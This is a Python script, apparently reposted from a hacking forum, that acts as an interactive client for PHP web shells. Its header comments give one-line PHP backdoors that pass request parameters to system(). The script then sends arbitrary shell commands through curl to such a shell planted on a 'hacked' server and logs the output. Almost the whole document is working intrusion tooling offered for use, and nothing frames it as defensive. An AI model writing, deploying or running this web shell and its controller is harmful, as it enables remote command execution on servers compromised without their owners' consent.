Interactive HTTP GET and POST Shell

[bleu moon]

#!/usr/bin/python
#
# Malformation's  Interactive   HTTP  GET and  POST   Shell  - 
fireinthehole.py
#
# Upload something like this to a php file:
# <?php if (isset($_POST["cmd"])) { system($_POST["cmd"]); } ?>
# <?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
#
# Kisses go to .aware, OTW, STS, darkc0de, str0ke and some Aussies
# Please don't strip the credits out if you modify or redistribute.

import sys, os, time

print '''
        Malformation's  Interactive   HTTP  GET and  POST  Shell
        Version - 1.0.0a

        Tries to maintain current working directory when you use 'cd'.
        
        Usage:
        \tEnter the host => hacked.com/hacked.php
        \tEnter the  POST  variable => cmd
        \thacked.com/hacked.php# ls -la
        \ttotal 12880
        \tdrwxr-xr-x  2 web    web        4096 2009-11-03 11:54 .
        \tdrwxr-xr-x 15 root    root        4096 2009-10-08 13:37 ..
        \t-rw-r--r--  1 web    web         481 2009-11-02 18:58 hacked.php
        \thacked.com/hacked.php# .
        \tBye.
'''

# # # # # Configuration # # # # # #
# 0 to turn off curl verbosity    #
debug = 1                         #
# # # # # # # # # # # # # # # # # #

write = 0
curl_array = ["/bin/", "/usr/bin/", "/usr/sbin/"]
curl_dirs = ""
count = 0
finalcommand = ""
dir_array = []

for i in range(0,len(curl_array)):
        if (os.path.exists(curl_array[i] + "curl")):
                count = count + 1
                curl_dirs = curl_dirs + curl_array[i] + " "

if (count == 0):
        print "Couldn't find curl. Tried looking in " + curl_dirs
        sys.exit(0)
        
try:
        if (os.path.exists("fireinthehole.txt")):
                file = open("fireinthehole.txt","a")
        else:
                file = open("fireinthehole.txt","w")
        print "Output will be saved to fireinthehole.txt"
        write = 1
except IOError:
        print "Directory not writable, output will not be saved."

try:
        host = raw_input("Enter the host => ")
        method = raw_input("GET/POST => ")
        if (method == "GET"):
                myvar = raw_input("Enter the GET variable => ")
        elif (method == "POST"):
                myvar = raw_input("Enter the  POST  variable => ")
        else:
                sys.exit(0)
        while True:
                mycommand = raw_input(host + "# ")
                finalcommand = ""
                if (mycommand == "."):
                        print "Bye."
                        sys.exit(0)
                mycommand = mycommand + "; "
                if (mycommand[0] + mycommand[1] + mycommand[2] == "cd "):
                        dir_array.insert(len(dir_array) + 1, mycommand)
                        if (method == "GET"):
                                string = "curl -s \"" + host + "?" + myvar + "=" + mycommand + 
"\""
                        else:
                                string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + 
host
                        if (debug == 1):
                                print string + ":\n"
                        continue
                if (len(dir_array) != 0):
                        for j in range(0,len(dir_array)):
                                finalcommand = finalcommand + dir_array[j]
                        finalcommand = finalcommand + mycommand
                if (finalcommand != ""):
                        mycommand = finalcommand
                if (method == "GET"):
                        string = "curl -s \"" + host + "?" + myvar + "=" + mycommand + 
"\""
                else:
                        string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + host
                if (debug == 1):
                        print string + ":\n"
                command = os.popen(string,"r")
                if (write == 1):
                        file.write(host + "# " + mycommand + "\n")
                while(1):
                        line = command.readline()
                        line = line.strip()
                        if line:
                                print line
                                if (write == 1):
                                        file.write(line + "\n")
                        else:
                                break
except KeyboardInterrupt:
        print "\nBye."
        sys.exit(0)

except:
        print "Unhandled exception"
        sys.exit(0)

المصدر: :: vBspiders Professional Network ::

---

Interactive HTTP GET and POST Shell